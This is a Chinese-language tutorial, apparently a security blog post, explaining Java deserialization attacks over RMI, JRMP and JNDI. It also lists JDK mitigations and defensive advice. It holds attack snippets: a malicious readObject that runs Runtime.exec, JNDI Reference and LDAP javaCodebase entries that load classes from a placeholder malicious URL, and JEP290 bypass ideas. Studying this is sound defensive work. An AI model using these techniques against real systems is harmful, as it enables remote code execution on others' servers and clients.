Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解
字数 1929 2025-08-15 21:32:50
Java反序列化漏洞:RMI、JRMP与JNDI利用方式详解
前言
Java反序列化漏洞是Java Web安全中的重要议题,尤其是涉及RMI和JNDI概念时更为复杂。本文将详细解析RMI客户端、服务端及rmiregistry之间的关系,以及三者之间的多种攻击方式。
RPC框架原理简介
所有高级编程概念都建立在基础代码之上。分布式概念通过Java的socket、序列化、反序列化和反射实现:
- 客户端生成代理对象
- 通过Socket与服务端建立连接
- 将方法调用和参数序列化后传输
- 服务端反序列化数据并通过反射执行方法
- 返回执行结果给客户端
RMI架构与流程
核心组件
- 客户端:远程方法调用者
- 服务端:远程方法提供者
- Registry(注册中心):独立程序,位于JDK的bin/rmiregistry
注册中心启动
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}
RegistryImpl关键属性:
bindings:Hashtable存储注册信息registryFilter:JDK 1.8.121+引入的反序列化白名单校验
白名单机制
private static Status registryFilter(FilterInfo var0) {
// 白名单包含以下类型:
// String, Number, Remote, Proxy, UnicastRef,
// RMIClientSocketFactory, RMIServerSocketFactory,
// ActivationID, UID
// 其他类型将被拒绝
}
RMI通信流程分析
服务端注册流程
- 定义远程接口:
public interface IHello extends Remote {
String sayHello() throws RemoteException;
}
- 实现接口:
public class HelloImpl extends UnicastRemoteObject implements IHello {
// 实现方法...
}
- 注册到Registry:
LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",new HelloImpl());
客户端调用流程
IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
hello.sayHello();
核心通信过程
- Stub(存根):客户端代理,知道服务端地址和端口
- Skeleton(骨架):服务端处理请求的组件
- 序列化/反序列化点:多处存在潜在攻击面
攻击面分析
1. 客户端攻击服务端
利用点:服务端反序列化客户端传递的参数
攻击步骤:
- 服务端方法接受可序列化参数
- 客户端构造恶意参数对象(继承合法参数类)
- 触发服务端反序列化执行恶意代码
示例:
// 恶意类
public class Weakness extends Person implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("恶意命令");
}
}
2. 服务端攻击客户端
利用点:客户端反序列化服务端返回的结果
攻击方式A:通过返回值
- 修改服务端返回恶意对象
- 客户端反序列化时触发漏洞
攻击方式B:JNDI Reference攻击(JDK 8u121前有效)
- 服务端绑定Reference对象:
Reference refObj = new Reference("恶意类", "恶意类工厂", "http://恶意地址/");
registry.bind("refObj", new ReferenceWrapper(refObj));
- 客户端lookup时加载远程恶意类
JDK防御机制:
- 8u121+:
com.sun.jndi.rmi.object.trustURLCodebase=false - 8u191+: 额外检查
com.sun.jndi.ldap.object.trustURLCodebase
3. 服务端攻击Registry
利用点:Registry反序列化服务端bind时传递的Proxy对象
攻击步骤:
- 构造恶意Proxy对象
- 在bind时传递给Registry
- Registry反序列化时触发漏洞
限制:
- JDK 8u121+的白名单机制会阻止非白名单类
4. Registry攻击客户端
利用点:客户端反序列化Registry返回的Stub
5. 客户端攻击Registry
利用点:Registry反序列化客户端lookup请求
JNDI攻击向量
LDAP攻击向量
攻击流程:
- 搭建恶意LDAP服务
- 设置条目包含javaCodebase等属性
- 客户端查询时加载远程恶意类
示例代码:
// LDAP服务端设置恶意条目
Attribute mod1 = new BasicAttribute("objectClass", "top");
mod1.add("javaNamingReference");
Attribute mod2 = new BasicAttribute("javaCodebase", "http://恶意地址/");
// ...其他属性设置
绕过防御机制
JEP290绕过思路
- 利用白名单内类:如UnicastRef
- DGC(分布式垃圾回收)攻击:通过DGC通信绕过registryFilter
- 二次反序列化:通过白名单类触发二次反序列化
总结
攻击矩阵
| 攻击方向 | 利用点 | 适用版本 | 限制条件 |
|---|---|---|---|
| 客户端→服务端 | 参数反序列化 | 所有版本 | 需服务端接受参数 |
| 服务端→客户端 | 返回值反序列化 | 所有版本 | 需客户端处理返回值 |
| 服务端→Registry | bind数据反序列化 | <8u121 | 白名单限制 |
| Registry→客户端 | lookup返回数据 | <8u121 | 白名单限制 |
| JNDI Reference | 远程类加载 | <8u121 | trustURLCodebase限制 |
| JNDI LDAP | 远程类加载 | <8u191 | 多重trustURLCodebase限制 |
防御建议
- 升级JDK到最新版本
- 设置
trustURLCodebase=false - 限制反序列化类白名单
- 使用安全管理器
参考工具
- ysoserial:生成反序列化payload
- marshalsec:启动恶意RMI/LDAP服务
- JRMPListener:监听JRMP请求
通过深入理解RMI/JNDI的工作原理和攻击面,可以更好地防御Java反序列化漏洞,同时也能在授权测试中有效发现这类安全问题。